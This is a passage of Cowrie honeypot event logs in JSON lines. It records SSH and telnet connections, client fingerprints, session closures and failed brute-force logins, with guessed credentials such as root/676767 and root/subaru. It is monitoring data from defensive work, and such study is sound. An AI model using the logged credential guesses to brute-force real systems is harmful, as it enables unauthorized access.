enssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:10.401657Z","src_ip":"109.172.54.111","session":"3bd1fef5f6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.348268032073975,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:10.711621Z","src_ip":"192.119.13.58","session":"17ca83d407df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"676767","message":"login attempt [root/676767] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:10.755255Z","src_ip":"109.172.54.111","session":"3bd1fef5f6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:10.851269Z","src_ip":"103.98.149.87","session":"a30f9db2f58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.15146255493164,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:11.207870Z","src_ip":"192.119.13.58","session":"6b4bc0f072ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40200,"dst_ip":"10.17.0.5","dst_port":23,"session":"363b14fff604","protocol":"telnet","message":"New connection: 192.119.13.58:40200 (10.17.0.5:23) [session: 363b14fff604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:11.755216Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:11.856956Z","src_ip":"109.172.54.111","session":"3bd1fef5f6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.66732668876648,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:12.132090Z","src_ip":"192.119.13.58","session":"b2a4acb1292a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41638,"dst_ip":"10.17.0.5","dst_port":22,"session":"efdbbe79ead8","protocol":"ssh","message":"New connection: 193.32.162.145:41638 (10.17.0.5:22) [session: efdbbe79ead8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:12.188519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:12.209592Z","src_ip":"193.32.162.145","session":"efdbbe79ead8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:12.291502Z","src_ip":"193.32.162.145","session":"efdbbe79ead8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:12.723236Z","src_ip":"193.32.162.145","session":"efdbbe79ead8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:13.870617Z","src_ip":"193.32.162.145","session":"efdbbe79ead8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.33185887336731,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:14.789676Z","src_ip":"192.119.13.58","session":"a5b22d1a4aa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.41845679283142,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:15.087956Z","src_ip":"192.119.13.58","session":"4e81008e5d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.21955633163452,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:17.665881Z","src_ip":"192.119.13.58","session":"c4bcf3eeb75d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37100,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33f486f333c","protocol":"telnet","message":"New connection: 192.119.13.58:37100 (10.17.0.5:23) [session: a33f486f333c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:17.930639Z"}
{"eventid":"cowrie.session.closed","duration":35.46351861953735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:21.661696Z","src_ip":"192.119.13.58","session":"32f580abc394","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.92214035987854,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:24.720977Z","src_ip":"192.119.13.58","session":"0ba4b97debed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.84830713272095,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:24.944672Z","src_ip":"192.119.13.58","session":"b1e72fdf9921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38820,"dst_ip":"10.17.0.5","dst_port":23,"session":"737996b5eb83","protocol":"telnet","message":"New connection: 192.119.13.58:38820 (10.17.0.5:23) [session: 737996b5eb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:25.970783Z"}
{"eventid":"cowrie.session.closed","duration":45.401586055755615,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:37.865517Z","src_ip":"192.119.13.58","session":"f9ae16c99421","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.374504804611206,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:39.393573Z","src_ip":"192.119.13.58","session":"e6ee5ec35877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42058,"dst_ip":"10.17.0.5","dst_port":23,"session":"6508105ce174","protocol":"telnet","message":"New connection: 192.119.13.58:42058 (10.17.0.5:23) [session: 6508105ce174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:46.234274Z"}
{"eventid":"cowrie.session.closed","duration":59.13138246536255,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:46.597349Z","src_ip":"192.119.13.58","session":"7b25ef0d40e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49560,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe62157f381c","protocol":"telnet","message":"New connection: 192.119.13.58:49560 (10.17.0.5:23) [session: fe62157f381c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:48.066418Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55444,"dst_ip":"10.17.0.5","dst_port":23,"session":"d475a91a8b2d","protocol":"telnet","message":"New connection: 192.119.13.58:55444 (10.17.0.5:23) [session: d475a91a8b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:49.462312Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56550,"dst_ip":"10.17.0.5","dst_port":23,"session":"50735c1c9f6d","protocol":"telnet","message":"New connection: 192.119.13.58:56550 (10.17.0.5:23) [session: 50735c1c9f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:49.632983Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34688,"dst_ip":"10.17.0.5","dst_port":23,"session":"658761cada71","protocol":"telnet","message":"New connection: 192.119.13.58:34688 (10.17.0.5:23) [session: 658761cada71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:51.181126Z"}
{"eventid":"cowrie.session.closed","duration":2.561680555343628,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:53.742740Z","src_ip":"192.119.13.58","session":"658761cada71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.303829193115234,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:54.058927Z","src_ip":"192.119.13.58","session":"363b14fff604","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":40144,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eae2f97161b","protocol":"ssh","message":"New connection: 81.9.145.130:40144 (10.17.0.5:22) [session: 2eae2f97161b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:55.385371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:55.391025Z","src_ip":"81.9.145.130","session":"2eae2f97161b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:55.510206Z","src_ip":"81.9.145.130","session":"2eae2f97161b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53612,"dst_ip":"10.17.0.5","dst_port":23,"session":"e57545d957cd","protocol":"telnet","message":"New connection: 192.119.13.58:53612 (10.17.0.5:23) [session: e57545d957cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:55.760409Z"}
{"eventid":"cowrie.session.closed","duration":0.009296417236328125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:55.769539Z","src_ip":"192.119.13.58","session":"e57545d957cd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ding","message":"login attempt [root/ding] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:56.011738Z","src_ip":"81.9.145.130","session":"2eae2f97161b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:57.131604Z","src_ip":"81.9.145.130","session":"2eae2f97161b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59870,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2810398446c","protocol":"telnet","message":"New connection: 192.119.13.58:59870 (10.17.0.5:23) [session: b2810398446c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:57.214358Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38924,"dst_ip":"10.17.0.5","dst_port":23,"session":"854b38d5441a","protocol":"telnet","message":"New connection: 192.119.13.58:38924 (10.17.0.5:23) [session: 854b38d5441a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:58.797376Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"58177dc72d3b","protocol":"telnet","message":"New connection: 192.119.13.58:55060 (10.17.0.5:23) [session: 58177dc72d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:02.655659Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57232,"dst_ip":"10.17.0.5","dst_port":23,"session":"615d6e20c5c6","protocol":"telnet","message":"New connection: 192.119.13.58:57232 (10.17.0.5:23) [session: 615d6e20c5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:03.177797Z"}
{"eventid":"cowrie.session.closed","duration":38.84050703048706,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:04.811169Z","src_ip":"192.119.13.58","session":"737996b5eb83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.263195276260376,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:05.193728Z","src_ip":"192.119.13.58","session":"a33f486f333c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49218,"dst_ip":"10.17.0.5","dst_port":23,"session":"d469289d2dc6","protocol":"telnet","message":"New connection: 192.119.13.58:49218 (10.17.0.5:23) [session: d469289d2dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:07.858775Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51782,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc55e45227ce","protocol":"telnet","message":"New connection: 192.119.13.58:51782 (10.17.0.5:23) [session: bc55e45227ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:08.480969Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":59390,"dst_ip":"159.203.135.109","dst_port":22,"session":"4de34c275ec6","protocol":"ssh","message":"New connection: 103.149.28.157:59390 (159.203.135.109:22) [session: 4de34c275ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:08.843707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:08.848406Z","src_ip":"103.149.28.157","session":"4de34c275ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:09.097320Z","src_ip":"103.149.28.157","session":"4de34c275ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"subaru","message":"login attempt [root/subaru] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:09.841195Z","src_ip":"103.149.28.157","session":"4de34c275ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32838,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd0f97da3b07","protocol":"telnet","message":"New connection: 192.119.13.58:32838 (10.17.0.5:23) [session: cd0f97da3b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:10.573238Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f539b54718b5","protocol":"telnet","message":"New connection: 192.119.13.58:34160 (10.17.0.5:23) [session: f539b54718b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:10.877656Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:11.091320Z","src_ip":"103.149.28.157","session":"4de34c275ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49046,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ddc272cec4","protocol":"telnet","message":"New connection: 192.119.13.58:49046 (10.17.0.5:23) [session: 47ddc272cec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:14.354187Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50242,"dst_ip":"10.17.0.5","dst_port":23,"session":"1860616fabfa","protocol":"telnet","message":"New connection: 192.119.13.58:50242 (10.17.0.5:23) [session: 1860616fabfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:14.619923Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34852,"dst_ip":"10.17.0.5","dst_port":22,"session":"86cbc4c1c6ec","protocol":"ssh","message":"New connection: 89.223.69.22:34852 (10.17.0.5:22) [session: 86cbc4c1c6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:15.963415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:15.972672Z","src_ip":"89.223.69.22","session":"86cbc4c1c6ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:16.087262Z","src_ip":"89.223.69.22","session":"86cbc4c1c6ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"55555a","message":"login attempt [root/55555a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:16.432279Z","src_ip":"89.223.69.22","session":"86cbc4c1c6ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:17.548938Z","src_ip":"89.223.69.22","session":"86cbc4c1c6ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46666,"dst_ip":"10.17.0.5","dst_port":23,"session":"6399c3348ea0","protocol":"telnet","message":"New connection: 192.119.13.58:46666 (10.17.0.5:23) [session: 6399c3348ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:20.502625Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52972,"dst_ip":"10.17.0.5","dst_port":23,"session":"78367cd8a4aa","protocol":"telnet","message":"New connection: 192.119.13.58:52972 (10.17.0.5:23) [session: 78367cd8a4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:21.958376Z"}
{"eventid":"cowrie.session.closed","duration":35.99986696243286,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:22.234027Z","src_ip":"192.119.13.58","session":"6508105ce174","protocol":"telnet"}
